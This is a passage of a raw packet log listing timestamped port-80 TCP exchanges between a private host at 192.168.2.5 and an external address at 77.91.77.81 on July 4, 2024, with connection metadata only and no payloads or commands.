Jul 4, 2024 22:21:06.557260036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557261944 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.557270050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557281017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557284117 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.557292938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557322025 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.557333946 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.557436943 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.557481050 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.558151007 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558161974 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558171034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558191061 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.558216095 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.558227062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558238983 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558248043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558265924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558269978 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.558284044 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.558310986 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.558317900 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.558351040 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.591067076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591097116 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591106892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591111898 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.591131926 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.591245890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591257095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591267109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591280937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.591290951 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.591315031 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.592140913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592159033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592169046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592180967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.592192888 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.592201948 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.592236042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592247009 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592263937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592273951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.592283964 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.592308044 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.610893011 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.610943079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.610946894 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.610972881 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.610980034 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611017942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611052990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611088991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611099958 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611124992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611129045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611169100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611176014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611202002 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611206055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611243963 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611247063 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611278057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611288071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611306906 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611324072 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611325979 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611345053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611346960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611368895 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611385107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611481905 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611499071 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611509085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611519098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611526012 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611531019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611567020 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611641884 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611653090 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611663103 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611686945 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611706972 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611807108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611821890 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611831903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611843109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611850023 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611854076 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611864090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611865997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611877918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611888885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611898899 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611900091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.611917973 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.611933947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612092018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612107038 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612117052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612133980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612150908 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612231970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612243891 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612258911 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612276077 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612298965 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612433910 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612445116 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612453938 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612463951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612474918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612477064 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612490892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612502098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612513065 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612513065 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612535954 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612706900 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612718105 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612737894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612744093 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612749100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612761021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612772942 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612775087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612792015 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612821102 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612900972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612911940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612922907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.612936974 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612950087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.612958908 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613094091 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613105059 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613114119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613123894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613132000 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613137960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613145113 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613149881 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613161087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613168955 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613172054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613179922 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613207102 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613384962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613398075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613405943 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613415956 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613424063 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613439083 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613462925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613540888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613553047 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613563061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613574982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613579035 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613584995 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613591909 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613596916 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613607883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613611937 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613625050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613634109 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613637924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613650084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613660097 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613662004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613672018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613672972 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613684893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613696098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.613697052 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613711119 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.613738060 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.614186049 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.614197969 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.614207029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.614216089 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.614218950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.614231110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.614240885 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.614244938 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.614267111 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.614280939 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.647206068 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647218943 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647228956 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647243023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647253990 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647274017 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.647301912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647313118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647317886 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.647334099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.647362947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.647731066 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.647777081 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.648160934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648170948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648180008 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648201942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.648225069 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.648406982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648444891 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.648525953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648535967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648552895 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648561954 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.648567915 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.648587942 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.681178093 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681190014 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681199074 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681255102 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.681286097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681296110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681304932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681318045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.681324959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.681338072 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.681365967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.682087898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682106018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682115078 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682138920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.682158947 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.682241917 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682251930 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682261944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682271957 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682282925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.682286024 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.682307959 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.682322025 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.700854063 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.700864077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.700870037 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.700932026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.700937986 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.700942039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.700953960 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.700977087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701000929 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701014042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701024055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701051950 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701086044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701097012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701107025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701122046 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701252937 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701265097 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701273918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701278925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701292992 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701323986 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701344013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701354980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701365948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701380968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701395988 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701404095 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701436996 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701505899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701517105 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701527119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701538086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701541901 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701549053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701564074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701586008 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701689005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701731920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701764107 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701778889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701790094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701801062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701807976 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701812029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701823950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701826096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701855898 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701869965 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701921940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701960087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.701983929 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.701997042 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702007055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702022076 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702033043 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702045918 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702156067 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702166080 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702177048 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702187061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702192068 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702197075 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702210903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702214956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702222109 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702248096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702248096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702358961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702369928 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702393055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702424049 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702435017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702459097 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702589035 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702600002 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702609062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702620029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702630043 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702631950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702644110 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702651978 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702682018 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702857971 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702867985 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702877045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702887058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702898026 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702902079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702913046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702924013 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702934027 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702934980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702944994 CEST	80	49719	77.91.77.81	192.168.2.5
